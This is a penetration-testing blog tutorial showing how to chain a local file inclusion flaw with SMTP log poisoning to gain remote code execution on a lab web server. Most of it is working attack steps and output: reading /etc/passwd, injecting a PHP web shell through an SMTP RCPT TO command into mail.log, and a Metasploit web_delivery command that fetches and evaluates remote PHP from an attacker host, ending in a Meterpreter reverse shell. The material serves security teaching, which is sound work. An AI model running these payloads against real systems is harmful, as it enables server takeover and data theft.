

# Hacking Articles

Raj Chandel's Blog

[CTF Challenges](#)[Web Penetration Testing](#)[Red Teaming](#)[Penetration Testing](#)[Courses We Offer](#)[Donate us](#)

## SMTP Log Poisoning through LFI to Remote Code Execution

posted in [PENETRATION TESTING](#) on [JANUARY 6, 2019](#) by [RAJ CHANDEL](#)  [SHARE](#)

In this Post, we will be discussing on SMTP log poisoning. But before getting in details, kindly read our previous articles for “[SMTP Lab Set-Up](#)” and “[Beginner Guide to File Inclusion Attack \(LFI/RFI\)](#)”. Today you will see how we can exploit a web server by abusing SMTP services if the web server is vulnerable to local file Inclusion.

**Let's Start!!**

Search

Subscribe to Blog via Email

**SUBSCRIBE**

Follow me on Twitter

With the help of Nmap, we scan for port 25 and as result, it shows port 25 is open for SMTP service.

```
1 | nmap -p25 192.168.1.107
```

```
root@kali:~# nmap -p25 192.168.1.107
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-30 12:42 EST
Nmap scan report for 192.168.1.107
Host is up (0.00032s latency).

PORT      STATE SERVICE
25/tcp    open  smtp
MAC Address: 00:0C:29:C8:9C:50 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.46 seconds
```

This attack is truly based on Local file Inclusion attack; therefore I took help of our previous [article](#) where I Created a PHP file which will allow the user to include a file through file parameter.

As a result, you can observe that we are able to access `/etc/passwd` file of the victim machine.



```
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin libuuid:x:100:101::/var/lib/libuuid: syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false usbmux:x:103:46:usbmux daemon,,,:/home/usbmux:/bin/false dnsmasq:x:104:65534:dnsmasq,,,:/var/lib/misc:/bin/false
avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false kernoops:x:106:65534:Kernel Oops Tracking Daemon,,,:/bin/false
rtkit:x:107:114:RealtimeKit,,,:/proc:/bin/false saned:x:108:115::/home/saned:/bin/false whoopsie:x:109:116::/nonexistent:/bin/false
speech-dispatcher:x:110:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh avahi:x:111:117:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
lightdm:x:112:118:Light Display Manager:/var/lib/lightdm:/bin/false colord:x:113:121:colord colour management daemon,,,:/var/lib/colord:/bin/false
hplip:x:114:7:HPLIP system user,,,:/var/run/hplip:/bin/false pulse:x:115:122:PulseAudio daemon,,,:/var/run/pulse:/bin/false
raj:x:1000:1000:raj,,,:/home/raj:/bin/bash mysql:x:116:125:MySQL Server,,,:/nonexistent:/bin/false postfix:x:117:126::/var/spool/postfix:/bin/false
dovecot:x:118:128:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false dovenull:x:119:129:Dovecot login user,,,:/nonexistent:/bin/false
```

Now if you are able to access the mail.log file due to LFI, it means the mail.log has read and write permission and hence we can infect the log file by injecting malicious code.



## Categories

- 🔖 BackTrack 5 Tutorials
- 🔖 Cryptography & Steganography
- 🔖 CTF Challenges
- 🔖 Cyber Forensics
- 🔖 Database Hacking
- 🔖 Footprinting
- 🔖 Hacking Tools
- 🔖 Kali Linux
- 🔖 Nmap
- 🔖 Others
- 🔖 Penetration Testing
- 🔖 Privilege Escalation
- 🔖 Red Teaming
- 🔖 Social Engineering Toolkit
- 🔖 Trojans & Backdoors
- 🔖 Website Hacking

```
Dec 30 09:22:27 mail postfix/master[4151]: daemon started -- version 2.11.0, configuration /etc/postfix
Dec 30 09:24:41 mail postfix/master[4151]: terminating on signal 15
Dec 30 09:24:41 mail postfix/master[4322]: daemon started -- version 2.11.0, configuration /etc/postfix
Dec 30 09:25:36 mail dovecot: master: Dovecot v2.2.9 starting up (core dumps disabled)
Dec 30 09:25:36 mail dovecot: ssl-params: Generating SSL parameters
Dec 30 09:25:43 mail dovecot: ssl-params: SSL parameters regeneration completed
Dec 30 09:31:26 mail dovecot: log: Warning: Killed with signal 15 (by pid=1 uid=0 code=kill)
Dec 30 09:31:26 mail dovecot: master: Warning: Killed with signal 15 (by pid=1 uid=0 code=kill)
Dec 30 09:31:26 mail dovecot: master: Dovecot v2.2.9 starting up (core dumps disabled)
Dec 30 09:31:55 mail postfix/pickup[4325]: 61B6243574: uid=0 from=
Dec 30 09:31:55 mail postfix/cleanup[7470]: 61B6243574: message-id=<20181230173155.61B6243574@mail.ignite.lab>
Dec 30 09:31:55 mail postfix/qmgr[4326]: 61B6243574: from=, size=494, nrcpt=1 (queue active)
Dec 30 09:31:55 mail postfix/local[7472]: 61B6243574: to=, orig_to=, relay=local, delay=0.02, delays=0.01/0/0/0, dsn=2.0.0, status=sent (delivered to maildir)
Dec 30 09:31:55 mail postfix/qmgr[4326]: 61B6243574: removed
Dec 30 09:32:56 mail dovecot: imap-login: Aborted login (no auth attempts in 0 secs): user=<>, rip=127.0.0.1, lip=127.0.1.1, session=
Dec 30 09:32:56 mail dovecot: pop3-login: Aborted login (no auth attempts in 0 secs): user=<>, rip=127.0.0.1, lip=127.0.1.1, session=
Dec 30 09:32:56 mail dovecot: imap-login: Aborted login (no auth attempts in 0 secs): user=<>, rip=127.0.0.1, lip=127.0.1.1, session=<80XSr0B+NwB/AAAB>
Dec 30 09:32:56 mail dovecot: pop3-login: Aborted login (no auth attempts in 0 secs): user=<>, rip=127.0.0.1, lip=127.0.1.1, session=
Dec 30 09:32:56 mail postfix/smtpd[7606]: connect from localhost[127.0.0.1]
Dec 30 09:32:56 mail postfix/smtpd[7606]: improper command pipelining after EHLO from localhost[127.0.0.1]: QUIT\r\n
```

Now let's try to enumerate further and connect to the SMTP (25) port

```
1 | telnet 192.168.1.107 25
```

As we can see, we got connected to the victim machine successfully. Now let's try to send a mail via command line (CLI) of this machine and send the OS commands via the "RCPT TO" option. Since the mail.log file generates a log for every mail when we try to connect with the web server. Taking advantage of this feature now I will send malicious PHP code as the fake user and it will get added automatically in the mail.log file as a new log.

```
1 | MAIL FROM:<rrajchandel@gmail.com>
2 | RCPT TO:<?php system($_GET['c']); ?>
```

🔖 [Window Password Hacking](#)

🔖 [Wireless Hacking](#)

## Articles

Select Month



```
root@kali:~# telnet 192.168.1.107 25 ↵
Trying 192.168.1.107...
Connected to 192.168.1.107.
Escape character is '^]'.
220 mail.ignite.lab ESMTP Postfix (Ubuntu)
MAIL FROM:<rrajchandel@gmail.com> ↵
250 2.1.0 Ok
RCPT TO:<?php system($_GET['c']); ?> ↵
501 5.1.3 Bad recipient address syntax
```

**Note:** We can ignore the 501 5.1.3 Bad recipient address syntax server response as seen in the above screenshot because ideally the internal email program of the server (victim machine), is expecting us to input an email ID and not the OS commands.

As our goal is to inject PHP code into the logs and this stage is called logfile poisoning and we can clearly see that details of mail.log, as well as execute comment given through cmd; now execute **ifconfig** as cmd comment to verify network interface and confirm its result from inside the given screenshot.

```
1 | 192.168.1.107/lfi/lfi.php?file=/var/log/mail.log&c=ifconfig
```

You can observe its output in its source code as shown in the below image:



```
view-source:http://192.168.1.107/lfi/lfi.php?file=/var/log/mail.log&c=ifconfig
8 Dec 30 09:31:26 mail dovecot: master: Warning: Killed with signal 15 (by pid=1 uid=0 code=kill)
9 Dec 30 09:31:26 mail dovecot: master: Dovecot v2.2.9 starting up (core dumps disabled)
10 Dec 30 09:31:55 mail postfix/pickup[4325]: 61B6243574: uid=0 from=<root>
11 Dec 30 09:31:55 mail postfix/cleanup[7470]: 61B6243574: message-id=<20181230173155.61B6243574@mail.ignite.
12 Dec 30 09:31:55 mail postfix/qmgr[4326]: 61B6243574: from=<root@mail.ignite.lab>, size=494, nrcpt=1 (queue
13 Dec 30 09:31:55 mail postfix/local[7472]: 61B6243574: to=<root@mail.ignite.lab>, orig_to=<root>, relay=loc
14 Dec 30 09:31:55 mail postfix/qmgr[4326]: 61B6243574: removed
15 Dec 30 09:32:56 mail dovecot: imap-login: Aborted login (no auth attempts in 0 secs): user=<>, rip=127.0.0
16 Dec 30 09:32:56 mail dovecot: pop3-login: Aborted login (no auth attempts in 0 secs): user=<>, rip=127.0.0
17 Dec 30 09:32:56 mail dovecot: imap-login: Aborted login (no auth attempts in 0 secs): user=<>, rip=127.0.0
18 Dec 30 09:32:56 mail dovecot: pop3-login: Aborted login (no auth attempts in 0 secs): user=<>, rip=127.0.0
19 Dec 30 09:32:56 mail postfix/smtpd[7606]: connect from localhost[127.0.0.1]
20 Dec 30 09:32:56 mail postfix/smtpd[7606]: improper command pipelining after EHLO from localhost[127.0.0.1]
21 Dec 30 09:32:56 mail postfix/smtpd[7606]: disconnect from localhost[127.0.0.1]
22 Dec 30 09:32:56 mail postfix/smtpd[7606]: connect from localhost[127.0.0.1]
23 Dec 30 09:32:56 mail postfix/smtpd[7606]: improper command pipelining after EHLO from localhost[127.0.0.1]
24 Dec 30 09:32:56 mail postfix/smtpd[7606]: disconnect from localhost[127.0.0.1]
25 Dec 30 09:33:42 mail dovecot: imap-login: Aborted login (no auth attempts in 0 secs): user=<>, rip=192.168
26 Dec 30 09:33:42 mail postfix/smtpd[7606]: connect from unknown[192.168.1.107]
27 Dec 30 09:33:42 mail postfix/smtpd[7606]: disconnect from unknown[192.168.1.107]
28 Dec 30 09:33:46 mail dovecot: imap-login: Aborted login (no auth attempts in 0 secs): user=<>, rip=192.168
29 Dec 30 09:33:46 mail postfix/smtpd[7612]: connect from unknown[192.168.1.107]
30 Dec 30 09:33:46 mail postfix/smtpd[7612]: disconnect from unknown[192.168.1.107]
31 Dec 30 09:33:54 mail dovecot: imap-login: Disconnected (no auth attempts in 0 secs): user=<>, rip=192.168.
32 Dec 30 09:33:54 mail dovecot: imap-login: Disconnected (no auth attempts in 0 secs): user=<>, rip=192.168.
33 Dec 30 09:38:41 mail postfix/smtpd[7695]: connect from unknown[192.168.1.109]
34 Dec 30 09:39:00 mail postfix/smtpd[7695]: warning: Illegal address syntax from unknown[192.168.1.109] in R
35 inet addr:192.168.1.107 Bcast:192.168.1.255 Mask:255.255.255.0
36 inet6 addr: fe80::20c:29ff:fec8:9c50/64 Scope:Link
37 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
38 RX packets:8732 errors:0 dropped:0 overruns:0 frame:0
39 TX packets:6751 errors:0 dropped:0 overruns:0 carrier:0
40 collisions:0 txqueuelen:1000
41 RX bytes:9324360 (9.3 MB) TX bytes:696344 (696.3 KB)
42
43 lo
44 Link encap:Local Loopback
45 inet addr:127.0.0.1 Mask:255.0.0.0
46 inet6 addr: ::1/128 Scope:Host
47 UP LOOPBACK RUNNING MTU:65536 Metric:1
48 RX packets:786 errors:0 dropped:0 overruns:0 frame:0
49 TX packets:786 errors:0 dropped:0 overruns:0 carrier:0
50 collisions:0 txqueuelen:0
51 RX bytes:84759 (84.7 KB) TX bytes:84759 (84.7 KB)
52
```



This technique is known as **SMTP log poisoning** and through such type of vulnerability, we can easily take the reverse shell of the victim's machine.

Execute following command inside Metasploit:

```

1 use exploit/multi/script/web_delivery
2 msf exploit (web_delivery)>set target 1
3 msf exploit (web_delivery)> set payload php/meterpreter/reverse_tcp
4 msf exploit (web_delivery)> set lhost 192.168.1.109
5 msf exploit (web_delivery)>set lport 8888
6 msf exploit (web_delivery)>exploit

```

Copy the highlighted text shown in below window

```

msf > use exploit/multi/script/web_delivery
msf exploit(multi/script/web_delivery) > set target 1
target => 1
msf exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > set lhost 192.168.1.109
lhost => 192.168.1.109
msf exploit(multi/script/web_delivery) > set lport 8888
lport => 8888
msf exploit(multi/script/web_delivery) > exploit
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 192.168.1.109:8888
[*] Using URL: http://0.0.0.0:8080/FiQ0jBhu
msf exploit(multi/script/web_delivery) > [*] Local IP: http://192.168.1.109:8080/FiQ0jBhu
[*] Server started.
[*] Run the following command on the target machine:
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.1.109:8080/FiQ0jBhu'));"

```

Paste the above copied malicious code inside URL as shown in the given image and execute it as cmd comment.

192.168.1.107/lfi.php?file=/var/log/mail.log&c=php -d allow\_url\_fopen=true -r "eval(file\_get\_contents('http://192.168.1.109:8080/FiQ0jBhu'));"

When the above code gets executed you will get meterpreter session 1 of the targeted web server.

```

1 msf exploit (web_delivery)>sessions 1
2 meterpreter> sysinfo

```

```
[*] 192.168.1.107 web_delivery - Delivering Payload
[*] Sending stage (38247 bytes) to 192.168.1.107
[*] Meterpreter session 1 opened (192.168.1.109:8888 -> 192.168.1.107:39439) at 2018-12-30 12:59:

msf exploit(multi/script/web_delivery) > sessions 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer      : ignite
OS           : Linux ignite 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64
Meterpreter  : php/linux
meterpreter >
```

**Author:** AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact [here](#)

Share this:



Like this:

Loading...

## ABOUT THE AUTHOR



### RAJ CHANDEL

Raj Chandel is a Skilled and Passionate IT Professional especially in IT-Hacking Industry. At present other than his name he can also be called as An Ethical Hacker,



A Cyber Security Expert, A Penetration Tester. With years of quality Experience in IT and software industry

---

PREVIOUS POST

← [HACK THE BOX: MISCHIEF WALKTHROUGH](#)

NEXT POST

[HACK THE BOX: FIGHTER WALKTHROUGH](#) →

**1 Comment** → [SMTP LOG POISONING THROUGH LFI TO REMOTE CODE EXECUTION](#)



**JEROMESMART0360**

January 8, 2019 at 3:41 am

Great article. I will be experiencing some of these issues as well..

**REPLY** ↓

## Leave a Reply

Your email address will not be published. Required fields are marked \*

Comment

Name \*

Email \*

Website

☐ Notify me of follow-up comments by email.

☐ Notify me of new posts by email.

**POST COMMENT**

